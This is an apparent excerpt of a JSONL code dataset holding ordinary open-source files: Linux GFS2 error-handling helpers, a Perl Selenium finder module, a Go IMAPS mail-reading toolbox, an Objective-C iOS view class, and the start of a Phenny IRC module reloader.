*sdp)\n{\n\tprintk(KERN_EMERG \"GFS2: fsid=%s: fatal assertion failed\\n\",\n\t sdp->sd_fsname);\n}\n\nint gfs2_lm_withdraw(struct gfs2_sbd *sdp, char *fmt, ...)\n{\n\tstruct lm_lockstruct *ls = &sdp->sd_lockstruct;\n\tconst struct lm_lockops *lm = ls->ls_ops;\n\tva_list args;\n\n\tif (sdp->sd_args.ar_errors == GFS2_ERRORS_WITHDRAW &&\n\t test_and_set_bit(SDF_SHUTDOWN, &sdp->sd_flags))\n\t\treturn 0;\n\n\tva_start(args, fmt);\n\tvprintk(fmt, args);\n\tva_end(args);\n\n\tif (sdp->sd_args.ar_errors == GFS2_ERRORS_WITHDRAW) {\n\t\tfs_err(sdp, \"about to withdraw this file system\\n\");\n\t\tBUG_ON(sdp->sd_args.ar_debug);\n\n\t\tkobject_uevent(&sdp->sd_kobj, KOBJ_OFFLINE);\n\n\t\tif (!strcmp(sdp->sd_lockstruct.ls_ops->lm_proto_name, \"lock_dlm\"))\n\t\t\twait_for_completion(&sdp->sd_wdack);\n\n\t\tif (lm->lm_unmount) {\n\t\t\tfs_err(sdp, \"telling LM to unmount\\n\");\n\t\t\tlm->lm_unmount(sdp);\n\t\t}\n\t\tfs_err(sdp, \"withdrawn\\n\");\n\t\tdump_stack();\n\t}\n\n\tif (sdp->sd_args.ar_errors == GFS2_ERRORS_PANIC)\n\t\tpanic(\"GFS2: fsid=%s: panic requested.\\n\", sdp->sd_fsname);\n\n\treturn -1;\n}\n\n/**\n * gfs2_assert_withdraw_i - Cause the machine to withdraw if @assertion is false\n * Returns: -1 if this call withdrew the machine,\n * -2 if it was already withdrawn\n */\n\nint gfs2_assert_withdraw_i(struct gfs2_sbd *sdp, char *assertion,\n\t\t\t const char *function, char *file, unsigned int line)\n{\n\tint me;\n\tme = gfs2_lm_withdraw(sdp,\n\t\t\"GFS2: fsid=%s: fatal: assertion \\\"%s\\\" failed\\n\"\n\t\t\"GFS2: fsid=%s: function = %s, file = %s, line = %u\\n\",\n\t\tsdp->sd_fsname, assertion,\n\t\tsdp->sd_fsname, function, file, line);\n\tdump_stack();\n\treturn (me) ? -1 : -2;\n}\n\n/**\n * gfs2_assert_warn_i - Print a message to the console if @assertion is false\n * Returns: -1 if we printed something\n * -2 if we didn't\n */\n\nint gfs2_assert_warn_i(struct gfs2_sbd *sdp, char *assertion,\n\t\t const char *function, char *file, unsigned int line)\n{\n\tif (time_before(jiffies,\n\t\t\tsdp->sd_last_warning +\n\t\t\tgfs2_tune_get(sdp, gt_complain_secs) * HZ))\n\t\treturn -2;\n\n\tif (sdp->sd_args.ar_errors == GFS2_ERRORS_WITHDRAW)\n\t\tprintk(KERN_WARNING\n\t\t \"GFS2: fsid=%s: warning: assertion \\\"%s\\\" failed\\n\"\n\t\t \"GFS2: fsid=%s: function = %s, file = %s, line = %u\\n\",\n\t\t sdp->sd_fsname, assertion,\n\t\t sdp->sd_fsname, function, file, line);\n\n\tif (sdp->sd_args.ar_debug)\n\t\tBUG();\n\telse\n\t\tdump_stack();\n\n\tif (sdp->sd_args.ar_errors == GFS2_ERRORS_PANIC)\n\t\tpanic(\"GFS2: fsid=%s: warning: assertion \\\"%s\\\" failed\\n\"\n\t\t \"GFS2: fsid=%s: function = %s, file = %s, line = %u\\n\",\n\t\t sdp->sd_fsname, assertion,\n\t\t sdp->sd_fsname, function, file, line);\n\n\tsdp->sd_last_warning = jiffies;\n\n\treturn -1;\n}\n\n/**\n * gfs2_consist_i - Flag a filesystem consistency error and withdraw\n * Returns: -1 if this call withdrew the machine,\n * 0 if it was already withdrawn\n */\n\nint gfs2_consist_i(struct gfs2_sbd *sdp, int cluster_wide, const char *function,\n\t\t char *file, unsigned int line)\n{\n\tint rv;\n\trv = gfs2_lm_withdraw(sdp,\n\t\t\"GFS2: fsid=%s: fatal: filesystem consistency error\\n\"\n\t\t\"GFS2: fsid=%s: function = %s, file = %s, line = %u\\n\",\n\t\tsdp->sd_fsname,\n\t\tsdp->sd_fsname, function, file, line);\n\treturn rv;\n}\n\n/**\n * gfs2_consist_inode_i - Flag an inode consistency error and withdraw\n * Returns: -1 if this call withdrew the machine,\n * 0 if it was already withdrawn\n */\n\nint gfs2_consist_inode_i(struct gfs2_inode *ip, int cluster_wide,\n\t\t\t const char *function, char *file, unsigned int line)\n{\n\tstruct gfs2_sbd *sdp = GFS2_SB(&ip->i_inode);\n\tint rv;\n\trv = gfs2_lm_withdraw(sdp,\n\t\t\"GFS2: fsid=%s: fatal: filesystem consistency error\\n\"\n\t\t\"GFS2: fsid=%s: inode = %llu %llu\\n\"\n\t\t\"GFS2: fsid=%s: function = %s, file = %s, line = %u\\n\",\n\t\tsdp->sd_fsname,\n\t\tsdp->sd_fsname, (unsigned long long)ip->i_no_formal_ino,\n\t\t(unsigned long long)ip->i_no_addr,\n\t\tsdp->sd_fsname, function, file, line);\n\treturn rv;\n}\n\n/**\n * gfs2_consist_rgrpd_i - Flag a RG consistency error and withdraw\n * Returns: -1 if this call withdrew the machine,\n * 0 if it was already withdrawn\n */\n\nint gfs2_consist_rgrpd_i(struct gfs2_rgrpd *rgd, int cluster_wide,\n\t\t\t const char *function, char *file, unsigned int line)\n{\n\tstruct gfs2_sbd *sdp = rgd->rd_sbd;\n\tint rv;\n\trv = gfs2_lm_withdraw(sdp,\n\t\t\"GFS2: fsid=%s: fatal: filesystem consistency error\\n\"\n\t\t\"GFS2: fsid=%s: RG = %llu\\n\"\n\t\t\"GFS2: fsid=%s: function = %s, file = %s, line = %u\\n\",\n\t\tsdp->sd_fsname,\n\t\tsdp->sd_fsname, (unsigned long long)rgd->rd_addr,\n\t\tsdp->sd_fsname, function, file, line);\n\treturn rv;\n}\n\n/**\n * gfs2_meta_check_ii - Flag a magic number consistency error and withdraw\n * Returns: -1 if this call withdrew the machine,\n * -2 if it was already withdrawn\n */\n\nint gfs2_meta_check_ii(struct gfs2_sbd *sdp, struct buffer_head *bh,\n\t\t const char *type, const char *function, char *file,\n\t\t unsigned int line)\n{\n\tint me;\n\tme = gfs2_lm_withdraw(sdp,\n\t\t\"GFS2: fsid=%s: fatal: invalid metadata block\\n\"\n\t\t\"GFS2: fsid=%s: bh = %llu (%s)\\n\"\n\t\t\"GFS2: fsid=%s: function = %s, file = %s, line = %u\\n\",\n\t\tsdp->sd_fsname,\n\t\tsdp->sd_fsname, (unsigned long long)bh->b_blocknr, type,\n\t\tsdp->sd_fsname, function, file, line);\n\treturn (me) ? -1 : -2;\n}\n\n/**\n * gfs2_metatype_check_ii - Flag a metadata type consistency error and withdraw\n * Returns: -1 if this call withdrew the machine,\n * -2 if it was already withdrawn\n */\n\nint gfs2_metatype_check_ii(struct gfs2_sbd *sdp, struct buffer_head *bh,\n\t\t\t u16 type, u16 t, const char *function,\n\t\t\t char *file, unsigned int line)\n{\n\tint me;\n\tme = gfs2_lm_withdraw(sdp,\n\t\t\"GFS2: fsid=%s: fatal: invalid metadata block\\n\"\n\t\t\"GFS2: fsid=%s: bh = %llu (type: exp=%u, found=%u)\\n\"\n\t\t\"GFS2: fsid=%s: function = %s, file = %s, line = %u\\n\",\n\t\tsdp->sd_fsname,\n\t\tsdp->sd_fsname, (unsigned long long)bh->b_blocknr, type, t,\n\t\tsdp->sd_fsname, function, file, line);\n\treturn (me) ? -1 : -2;\n}\n\n/**\n * gfs2_io_error_i - Flag an I/O error and withdraw\n * Returns: -1 if this call withdrew the machine,\n * 0 if it was already withdrawn\n */\n\nint gfs2_io_error_i(struct gfs2_sbd *sdp, const char *function, char *file,\n\t\t unsigned int line)\n{\n\tint rv;\n\trv = gfs2_lm_withdraw(sdp,\n\t\t\"GFS2: fsid=%s: fatal: I/O error\\n\"\n\t\t\"GFS2: fsid=%s: function = %s, file = %s, line = %u\\n\",\n\t\tsdp->sd_fsname,\n\t\tsdp->sd_fsname, function, file, line);\n\treturn rv;\n}\n\n/**\n * gfs2_io_error_bh_i - Flag a buffer I/O error and withdraw\n * Returns: -1 if this call withdrew the machine,\n * 0 if it was already withdrawn\n */\n\nint gfs2_io_error_bh_i(struct gfs2_sbd *sdp, struct buffer_head *bh,\n\t\t const char *function, char *file, unsigned int line)\n{\n\tint rv;\n\trv = gfs2_lm_withdraw(sdp,\n\t\t\"GFS2: fsid=%s: fatal: I/O error\\n\"\n\t\t\"GFS2: fsid=%s: block = %llu\\n\"\n\t\t\"GFS2: fsid=%s: function = %s, file = %s, line = %u\\n\",\n\t\tsdp->sd_fsname,\n\t\tsdp->sd_fsname, (unsigned long long)bh->b_blocknr,\n\t\tsdp->sd_fsname, function, file, line);\n\treturn rv;\n}\n\nvoid gfs2_icbit_munge(struct gfs2_sbd *sdp, unsigned char **bitmap,\n\t\t unsigned int bit, int new_value)\n{\n\tunsigned int c, o, b = bit;\n\tint old_value;\n\n\tc = b / (8 * PAGE_SIZE);\n\tb %= 8 * PAGE_SIZE;\n\to = b / 8;\n\tb %= 8;\n\n\told_value = (bitmap[c][o] & (1 << b));\n\tgfs2_assert_withdraw(sdp, !old_value != !new_value);\n\n\tif (new_value)\n\t\tbitmap[c][o] |= 1 << b;\n\telse\n\t\tbitmap[c][o] &= ~(1 << b);\n}\n\n"} -{"text": "package Selenium::Remote::Finders;\n$Selenium::Remote::Finders::VERSION = '1.36';\nuse strict;\nuse warnings;\n\n# ABSTRACT: Handle construction of generic parameter finders\nuse Try::Tiny;\nuse Carp qw/carp/;\nuse Moo::Role;\nuse namespace::clean;\n\n\nsub _build_find_by {\n my ( $self, $by ) = @_;\n\n return sub {\n my ( $driver, $locator ) = @_;\n my $strategy = $by;\n\n return try {\n return $driver->find_element( $locator, $strategy );\n }\n catch {\n carp $_;\n return 0;\n };\n }\n}\n\n1;\n\n__END__\n\n=pod\n\n=encoding UTF-8\n\n=head1 NAME\n\nSelenium::Remote::Finders - Handle construction of generic parameter finders\n\n=head1 VERSION\n\nversion 1.36\n\n=head1 DESCRIPTION\n\nThis package just takes care of setting up parameter finders - that\nis, the C versions of the find element\nfunctions. You probably don't need to do anything with this package;\ninstead, see L documentation\nfor the specific finder functions.\n\n=head1 SEE ALSO\n\nPlease see those modules/websites for more information related to this module.\n\n=over 4\n\n=item *\n\nL\n\n=back\n\n=head1 BUGS\n\nPlease report any bugs or feature requests on the bugtracker website\nL\n\nWhen submitting a bug or request, please include a test-file or a\npatch to an existing test-file that illustrates the bug or desired\nfeature.\n\n=head1 AUTHORS\n\nCurrent Maintainers:\n\n=over 4\n\n=item *\n\nDaniel Gempesaw \n\n=item *\n\nEmmanuel Peroumalna\u00efk \n\n=back\n\nPrevious maintainers:\n\n=over 4\n\n=item *\n\nLuke Closs \n\n=item *\n\nMark Stosberg \n\n=back\n\nOriginal authors:\n\n=over 4\n\n=item *\n\nAditya Ivaturi \n\n=back\n\n=head1 COPYRIGHT AND LICENSE\n\nCopyright (c) 2010-2011 Aditya Ivaturi, Gordon Child\n\nCopyright (c) 2014-2017 Daniel Gempesaw\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\nhttp://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n\n=cut\n"} -{"text": "package toolbox\n\nimport (\n\t\"bufio\"\n\t\"bytes\"\n\t\"crypto/tls\"\n\t\"errors\"\n\t\"fmt\"\n\t\"io\"\n\t\"math/rand\"\n\t\"net\"\n\t\"net/textproto\"\n\t\"regexp\"\n\t\"strconv\"\n\t\"strings\"\n\t\"sync\"\n\t\"time\"\n\n\t\"github.com/HouzuoGuo/laitos/inet\"\n)\n\nconst (\n\tMailboxList = \"l\" // Prefix string to trigger listing messages.\n\tMailboxRead = \"r\" // Prefix string to trigger reading message body.\n\tIMAPTimeoutSec = 30 // IMAPTimeoutSec is the IO timeout (in seconds) used for each IMAP conversation.\n)\n\nvar (\n\tRegexMailboxAndNumber = regexp.MustCompile(`(\\w+)[^\\w]+(\\d+)`) // Capture one mailbox shortcut name and a number\n\tRegexMailboxAndTwoNumbers = regexp.MustCompile(`(\\w+)[^\\w]+(\\d+)[^\\d]+(\\d+)`) // Capture one mailbox shortcut name and two numbers\n\tErrBadMailboxParam = fmt.Errorf(\"%s box skip# count# | %s box to-read#\", MailboxList, MailboxRead)\n)\n\n// IMAPSConnection is an established TLS client connection that is ready for IMAP conversations.\ntype IMAPSConnection struct {\n\ttlsConn *tls.Conn // tlsConn is a TLS client opened toward IMAP host. It had gone through handshake external to IMAPSConnection.\n\tmutex *sync.Mutex // mutex allows only one conversation to take place at a time.\n}\n\n/*\nconverse sends an IMAP request and waits for a response, then return IMAP response status and body.\nIf the response status is not OK, an error will be returned. If IO error occurs, client connection will be closed and an\nerror will be returned.\n*/\nfunc (conn *IMAPSConnection) converse(request string) (status, body string, err error) {\n\t// Expect both request and response to complete within the timeout constraint\n\t_ = conn.tlsConn.SetDeadline(time.Now().Add(time.Duration(IMAPTimeoutSec) * time.Second))\n\t// Random challenge is a string prefixed to an IMAP request\n\tchallenge := randomChallenge()\n\t_, err = conn.tlsConn.Write([]byte(fmt.Sprintf(\"%s %s\\r\\n\", challenge, request)))\n\tif err != nil {\n\t\tconn.disconnect()\n\t\treturn\n\t}\n\t// IMAP protocol is very much line-oriented in both of its request and response\n\tvar allLines bytes.Buffer\n\t// Allow up to 32MB of data to be received per conversation\n\treader := textproto.NewReader(bufio.NewReader(io.LimitReader(conn.tlsConn, 32*1048576)))\n\tfor {\n\t\tvar line string\n\t\tline, err = reader.ReadLine()\n\t\tif err != nil {\n\t\t\tconn.disconnect()\n\t\t\treturn\n\t\t}\n\t\tlowerLine := strings.TrimSpace(strings.ToLower(string(line)))\n\t\tif strings.Index(lowerLine, challenge) == 0 {\n\t\t\t// Conversation is finished when the response line comes with random challenge that was sent moments ago\n\t\t\tbody = allLines.String()\n\t\t\twithoutChallenge := strings.TrimSpace(lowerLine[len(challenge):])\n\t\t\t// There is a single-word status at the beginning\n\t\t\tafterStatusWord := strings.IndexRune(withoutChallenge, ' ')\n\t\t\tif afterStatusWord == -1 {\n\t\t\t\tstatus = withoutChallenge\n\t\t\t\terr = fmt.Errorf(\"cannot find IMAP status word among line - %s\", withoutChallenge)\n\t\t\t\tconn.disconnect()\n\t\t\t\treturn\n\t\t\t}\n\t\t\tstatusWord := withoutChallenge[:afterStatusWord]\n\t\t\tif len(withoutChallenge) > afterStatusWord {\n\t\t\t\tstatus = withoutChallenge[afterStatusWord:]\n\t\t\t}\n\t\t\tif strings.ToLower(statusWord) != \"ok\" {\n\t\t\t\terr = fmt.Errorf(\"bad IMAP response status - %s\", status)\n\t\t\t\t// Bad status does not prevent further conversations from taking place\n\t\t\t}\n\t\t\treturn\n\t\t} else {\n\t\t\t// Continue to receive response body\n\t\t\tallLines.WriteString(line)\n\t\t\tallLines.WriteRune('\\n')\n\t\t}\n\t}\n}\n\n/*\nconverse sends an IMAP request and waits for a response, then return IMAP response status and body.\nIf the response status is not OK, an error will be returned. If IO error occurs, client connection will be closed and an\nerror will be returned. A mutex prevents more than one conversation from taking place at the same time.\n*/\nfunc (conn *IMAPSConnection) Converse(request string) (status, body string, err error) {\n\tconn.mutex.Lock()\n\tdefer conn.mutex.Unlock()\n\tif conn.tlsConn == nil {\n\t\treturn \"\", \"\", errors.New(\"programming mistake - IMAPS connection is missing\")\n\t}\n\treturn conn.converse(request)\n}\n\n// disconnect closes client connection.\nfunc (conn *IMAPSConnection) disconnect() {\n\tif conn.tlsConn == nil {\n\t\treturn\n\t}\n\tconn.tlsConn.Close()\n\tconn.tlsConn = nil\n}\n\n// LogoutDisconnect sends logout command to IMAP server, and then closes client connection.\nfunc (conn *IMAPSConnection) LogoutDisconnect() {\n\tconn.mutex.Lock()\n\tdefer conn.mutex.Unlock()\n\tif conn.tlsConn == nil {\n\t\treturn\n\t}\n\t_, _, _ = conn.converse(\"LOGOUT\") // intentionally ignore conversation error\n\tconn.disconnect()\n}\n\n// GetNumberMessages returns total number of messages in the specified mail box.\nfunc (conn *IMAPSConnection) GetNumberMessages(mailboxName string) (int, error) {\n\t_, body, err := conn.Converse(fmt.Sprintf(\"EXAMINE \\\"%s\\\"\", mailboxName))\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\t// Extract number of messages from response body\n\tnumberString := regexp.MustCompile(`(\\d+) exists`).FindStringSubmatch(strings.ToLower(body))\n\tif len(numberString) != 2 {\n\t\treturn 0, fmt.Errorf(\"IMAPS.GetNumberMessages: EXAMINE command did not return a number in body - %s\", body)\n\t}\n\tnumber, err := strconv.Atoi(numberString[1])\n\tif err != nil || number < 0 {\n\t\treturn 0, fmt.Errorf(\"IMAPS.GetNumberMessages: EXAMINE command did not return a valid positive integer in \\\"%s\\\" - %v\", numberString[1], err)\n\t}\n\treturn number, nil\n}\n\n// GetHeaders retrieves mail headers from the specified message number range.\nfunc (conn *IMAPSConnection) GetHeaders(from, to int) (ret map[int]string, err error) {\n\tret = make(map[int]string)\n\tif from > to || from < 1 || to < 1 {\n\t\terr = errors.New(\"invalid message number range\")\n\t\treturn\n\t}\n\t_, body, err := conn.Converse(fmt.Sprintf(\"FETCH %d:%d BODY.PEEK[HEADER]\", from, to))\n\tif err != nil {\n\t\treturn\n\t}\n\t// Walk through body line by line to find boundary of messages\n\tvar thisNumber int\n\tvar thisMessage bytes.Buffer\n\tfor _, line := range strings.Split(body, \"\\n\") {\n\t\ttrimmedLine := strings.TrimSpace(line)\n\t\tif len(trimmedLine) == 0 {\n\t\t\tcontinue\n\t\t} else if len(trimmedLine) > 0 && trimmedLine[0] == '*' {\n\t\t\t// Marks beginning of a message\n\t\t\t// Store existing message\n\t\t\tif thisMessage.Len() > 0 {\n\t\t\t\t// Only store valid message\n\t\t\t\tret[thisNumber] = thisMessage.String()\n\t\t\t\tthisMessage.Reset()\n\t\t\t}\n\t\t\t// Parse current message number\n\t\t\tthisNumberStr := regexp.MustCompile(`\\d+`).FindString(trimmedLine)\n\t\t\tthisNumber, _ = strconv.Atoi(thisNumberStr)\n\t\t} else if trimmedLine == \")\" {\n\t\t\t// ) on its own line signifies end of message\n\t\t\tif thisMessage.Len() > 0 {\n\t\t\t\tret[thisNumber] = thisMessage.String()\n\t\t\t}\n\t\t} else {\n\t\t\t// Place the line in the current message buffer\n\t\t\tthisMessage.WriteString(line)\n\t\t\tthisMessage.WriteRune('\\n')\n\t\t}\n\t}\n\treturn\n}\n\n// GetMessage retrieves one mail message, including its entire headers, body content, and attachments if any.\nfunc (conn *IMAPSConnection) GetMessage(num int) (message string, err error) {\n\tif num < 1 {\n\t\terr = errors.New(\"message number must be positive\")\n\t\treturn\n\t}\n\tvar entireMessage bytes.Buffer\n\t_, body, err := conn.Converse(fmt.Sprintf(\"FETCH %d BODY[]\", num))\n\tfor _, line := range strings.Split(body, \"\\n\") {\n\t\tif len(line) > 0 {\n\t\t\tswitch line[0] {\n\t\t\t// Skip fetch boundary lines\n\t\t\tcase '*', ')':\n\t\t\t\tcontinue\n\t\t\t}\n\t\t}\n\t\tentireMessage.WriteString(line)\n\t\tentireMessage.WriteRune('\\n')\n\t}\n\tmessage = entireMessage.String()\n\treturn\n}\n\n// Retrieve emails via IMAPS.\ntype IMAPS struct {\n\tHost string `json:\"Host\"` // Server name or IP address of IMAPS server\n\tPort int `json:\"Port\"` // Port number of IMAPS service\n\tMailboxName string `json:\"MailboxName\"` // Name of mailbox (e.g. \"INBOX\")\n\tInsecureSkipVerify bool `json:\"InsecureSkipVerify\"` // Do not verify server name against its certificate\n\tAuthUsername string `json:\"AuthUsername\"` // Username for plain authentication\n\tAuthPassword string `json:\"AuthPassword\"` // Password for plain authentication\n}\n\n// Return a random 10 characters long string of numbers to\nfunc randomChallenge() string {\n\treturn strconv.Itoa(1000000000 + rand.Intn(1000000000))\n}\n\n// Set up TLS connection to IMAPS server and log the user in.\nfunc (mbox *IMAPS) ConnectLoginSelect() (conn *IMAPSConnection, err error) {\n\tclientConn, err := net.DialTimeout(\n\t\t\"tcp\",\n\t\tnet.JoinHostPort(mbox.Host, strconv.Itoa(mbox.Port)),\n\t\ttime.Duration(IMAPTimeoutSec)*time.Second)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"IMAPS.ConnectLoginSelect: connection error - %v\", err)\n\t}\n\ttlsWrapper := tls.Client(clientConn, &tls.Config{\n\t\tServerName: mbox.Host,\n\t\tInsecureSkipVerify: mbox.InsecureSkipVerify,\n\t})\n\tif err = tlsWrapper.Handshake(); err != nil {\n\t\tclientConn.Close()\n\t\treturn nil, fmt.Errorf(\"IMAPS.ConnectLoginSelect: TLS connection error - %v\", err)\n\t}\n\t// Absorb the connection greeting message sent by server\n\t_ = tlsWrapper.SetReadDeadline(time.Now().Add(time.Duration(IMAPTimeoutSec) * time.Second))\n\treader := bufio.NewReader(tlsWrapper)\n\t_, _, err = reader.ReadLine()\n\tif err != nil {\n\t\tclientConn.Close()\n\t\treturn nil, fmt.Errorf(\"IMAPS.ConnectLoginSelect: failed to read server greeting - %v\", err)\n\t}\n\t// It is now ready for IMAP conversations\n\tconn = &IMAPSConnection{\n\t\ttlsConn: tlsWrapper,\n\t\tmutex: new(sync.Mutex),\n\t}\n\t// LOGIN && SELECT\n\t_, _, err = conn.Converse(fmt.Sprintf(\"LOGIN %s %s\", mbox.AuthUsername, mbox.AuthPassword))\n\tif err != nil {\n\t\tconn.disconnect()\n\t\treturn nil, fmt.Errorf(\"IMAPS.ConnectLoginSelect: LOGIN command failed - %v\", err)\n\t}\n\t_, _, err = conn.Converse(fmt.Sprintf(\"SELECT \\\"%s\\\"\", mbox.MailboxName))\n\tif err != nil {\n\t\tconn.LogoutDisconnect()\n\t\treturn nil, fmt.Errorf(\"IMAPS.ConnectLoginSelect: SELECT command failed - %v\", err)\n\t}\n\treturn\n}\n\n// Correspond IMAP account connection details to account names.\ntype IMAPAccounts struct {\n\tAccounts map[string]*IMAPS `json:\"Accounts\"` // IMAP account name vs account connectivity details\n}\n\nvar TestIMAPAccounts = IMAPAccounts{} // Account details are set by init_feature_test.go\n\nfunc (imap *IMAPAccounts) IsConfigured() bool {\n\tif imap.Accounts == nil || len(imap.Accounts) == 0 {\n\t\treturn false\n\t}\n\tfor _, account := range imap.Accounts {\n\t\tif account.Host == \"\" || account.AuthPassword == \"\" || account.AuthUsername == \"\" {\n\t\t\treturn false\n\t\t}\n\t}\n\treturn true\n}\n\nfunc (imap *IMAPAccounts) SelfTest() error {\n\tif !imap.IsConfigured() {\n\t\treturn ErrIncompleteConfig\n\t}\n\tfor name, account := range imap.Accounts {\n\t\timapConn, err := account.ConnectLoginSelect()\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"IMAPAccounts.SelfTest: account \\\"%s\\\" has connection error - %v\", name, err)\n\t\t}\n\t\tif _, err := imapConn.GetNumberMessages(account.MailboxName); err != nil {\n\t\t\timapConn.LogoutDisconnect()\n\t\t\treturn fmt.Errorf(\"IMAPAccounts.SelfTest: account \\\"%s\\\" test error - %v\", name, err)\n\t\t}\n\t\timapConn.LogoutDisconnect()\n\t}\n\treturn nil\n}\n\nfunc (imap *IMAPAccounts) Initialise() error {\n\t// Use default port number 993 and default mailbox name INBOX\n\tfor _, account := range imap.Accounts {\n\t\tif account.Port < 1 {\n\t\t\taccount.Port = 993\n\t\t}\n\t\tif account.MailboxName == \"\" {\n\t\t\taccount.MailboxName = \"INBOX\"\n\t\t}\n\t}\n\treturn nil\n}\n\nfunc (imap *IMAPAccounts) Trigger() Trigger {\n\treturn \".i\"\n}\n\nfunc (imap *IMAPAccounts) ListMails(cmd Command) *Result {\n\t// Find one string parameter and two numeric parameters among the content\n\tparams := RegexMailboxAndTwoNumbers.FindStringSubmatch(cmd.Content)\n\tif len(params) < 4 {\n\t\treturn &Result{Error: ErrBadMailboxParam}\n\t}\n\tvar mbox string\n\tvar skip, count int\n\tmbox = params[1]\n\tvar intErr error\n\tskip, intErr = strconv.Atoi(params[2])\n\tif intErr != nil {\n\t\treturn &Result{Error: ErrBadMailboxParam}\n\t}\n\tcount, intErr = strconv.Atoi(params[3])\n\tif intErr != nil {\n\t\treturn &Result{Error: ErrBadMailboxParam}\n\t}\n\t// Artificially do not allow retrieving more than 200 message headers at a time\n\tif skip < 0 {\n\t\tskip = 0\n\t}\n\tif count > 200 {\n\t\tcount = 200\n\t}\n\tif count < 1 {\n\t\tcount = 1\n\t}\n\t// Let IMAP magic begin!\n\taccount, found := imap.Accounts[mbox]\n\tif !found {\n\t\treturn &Result{Error: fmt.Errorf(\"IMAPAccounts.ListMails: cannot find mailbox \\\"%s\\\"\", mbox)}\n\t}\n\tconn, err := account.ConnectLoginSelect()\n\tif err != nil {\n\t\treturn &Result{Error: err}\n\t}\n\tdefer conn.LogoutDisconnect()\n\ttotalNumber, err := conn.GetNumberMessages(account.MailboxName)\n\tif err != nil {\n\t\treturn &Result{Error: err}\n\t}\n\tif skip >= totalNumber {\n\t\treturn &Result{Error: fmt.Errorf(\"IMAPAccounts.ListMails: skip must be less than %d\", totalNumber)}\n\t}\n\t// If count is greater than total number, retrieve all of the mails.\n\tif skip+count > totalNumber {\n\t\tcount = totalNumber - skip\n\t}\n\tfromNum := totalNumber - count - skip + 1\n\ttoNum := totalNumber - skip\n\theaders, err := conn.GetHeaders(fromNum, toNum)\n\tif err != nil {\n\t\treturn &Result{Error: err}\n\t}\n\tvar output bytes.Buffer\n\tfor i := toNum; i >= fromNum; i-- {\n\t\theader, found := headers[i]\n\t\tif !found {\n\t\t\tcontinue\n\t\t}\n\t\t// Append \\r\\n\\r\\n to make it look like a complete message with empty body\n\t\tprop, _, err := inet.ReadMailMessage([]byte(header + \"\\r\\n\\r\\n\"))\n\t\tif err != nil {\n\t\t\tcontinue\n\t\t}\n\t\toutput.WriteString(fmt.Sprintf(\"%d %s %s\\n\", i, prop.FromAddress, prop.Subject))\n\t}\n\treturn &Result{Output: output.String()}\n}\n\nfunc (imap *IMAPAccounts) ReadMessage(cmd Command) *Result {\n\t// Find one string parameter and one numeric parameter among the content\n\tparams := RegexMailboxAndNumber.FindStringSubmatch(cmd.Content)\n\tif len(params) < 3 {\n\t\treturn &Result{Error: ErrBadMailboxParam}\n\t}\n\tvar mbox string\n\tvar number int\n\tmbox = params[1]\n\tvar intErr error\n\tnumber, intErr = strconv.Atoi(params[2])\n\tif intErr != nil {\n\t\treturn &Result{Error: ErrBadMailboxParam}\n\t}\n\t// Let IMAP magic begin!\n\taccount, found := imap.Accounts[mbox]\n\tif !found {\n\t\treturn &Result{Error: fmt.Errorf(\"IMAPAccounts.ReadMessage: cannot find mailbox \\\"%s\\\"\", mbox)}\n\t}\n\tconn, err := account.ConnectLoginSelect()\n\tif err != nil {\n\t\treturn &Result{Error: err}\n\t}\n\tdefer conn.LogoutDisconnect()\n\tentireMessage, err := conn.GetMessage(number)\n\tif err != nil {\n\t\treturn &Result{Error: err}\n\t}\n\t// If mail is multi-part, prefer to retrieve the plain text mail body.\n\tvar anyText, plainText string\n\terr = inet.WalkMailMessage([]byte(entireMessage), func(prop inet.BasicMail, body []byte) (bool, error) {\n\t\tif !strings.Contains(prop.ContentType, \"plain\") {\n\t\t\tanyText = string(body)\n\t\t} else {\n\t\t\tplainText = string(body)\n\t\t}\n\t\treturn true, nil\n\t})\n\tif err != nil {\n\t\treturn &Result{Error: err}\n\t}\n\tif plainText == \"\" {\n\t\treturn &Result{Output: anyText}\n\t} else {\n\t\treturn &Result{Output: plainText}\n\t}\n}\n\nfunc (imap *IMAPAccounts) Execute(cmd Command) (ret *Result) {\n\tif errResult := cmd.Trim(); errResult != nil {\n\t\treturn errResult\n\t}\n\tif cmd.FindAndRemovePrefix(MailboxList) {\n\t\tret = imap.ListMails(cmd)\n\t} else if cmd.FindAndRemovePrefix(MailboxRead) {\n\t\tret = imap.ReadMessage(cmd)\n\t} else {\n\t\tret = &Result{Error: ErrBadMailboxParam}\n\t}\n\treturn\n}\n"} -{"text": "//\n// Created by @krq_tiger on 13-7-3.\n// Copyright (c) 2013 kariqu. All rights reserved.\n//\n// To change the template use AppCode | Preferences | File Templates.\n//\n\n\n#import \n#import \"GuideTipView.h\"\n#import \"PopEpisodeView.h\"\n#import \"Global.h\"\n\n\n@implementation GuideTipView {\n\n}\n\n- (id)initWithFrame:(CGRect)frame tipsText:(NSString *)tipsText {\n self = [super initWithFrame:CGRectMake((MAIN_SCREEN_WIDTH- 200) / 2, MAIN_SCREEN_HEIGHT- 100 - 45 - 20, 200, 100)];\n if (self) {\n UILabel *textLabel = [[UILabel alloc] initWithFrame:CGRectMake(50, 0, 150, 50)];\n textLabel.textAlignment = UITextAlignmentCenter;\n textLabel.textColor = [UIColor whiteColor];\n textLabel.backgroundColor = POP_VIEW_BACKGROUND_COLOR;//[UIColor clearColor];\n textLabel.font = TIPS_TEXT_FONT;\n textLabel.text = tipsText;\n textLabel.numberOfLines = 0;\n textLabel.layer.cornerRadius = 6;\n UIImageView *icon = [[UIImageView alloc] initWithFrame:CGRectMake(MARGIN, 50, 40, 40)];\n icon.image = [UIImage imageNamed:@\"Icon.png\"];\n [self addSubview:icon];\n [self addSubview:textLabel];\n self.backgroundColor = [UIColor clearColor];\n }\n return self;\n}\n\n@end"} -{"text": "#!/usr/bin/env python\n\"\"\"\nreload.py - Phenny Module Reloader Module\nCopyright 2008, Sean B. Palmer, inamidst.com\nLicensed under the Eiffel Forum License 2.\n\nhttp://inamidst.com/phenny/\n\"\"\"\n\nimport sys, os.path, time, imp\nimport irc\n\ndef 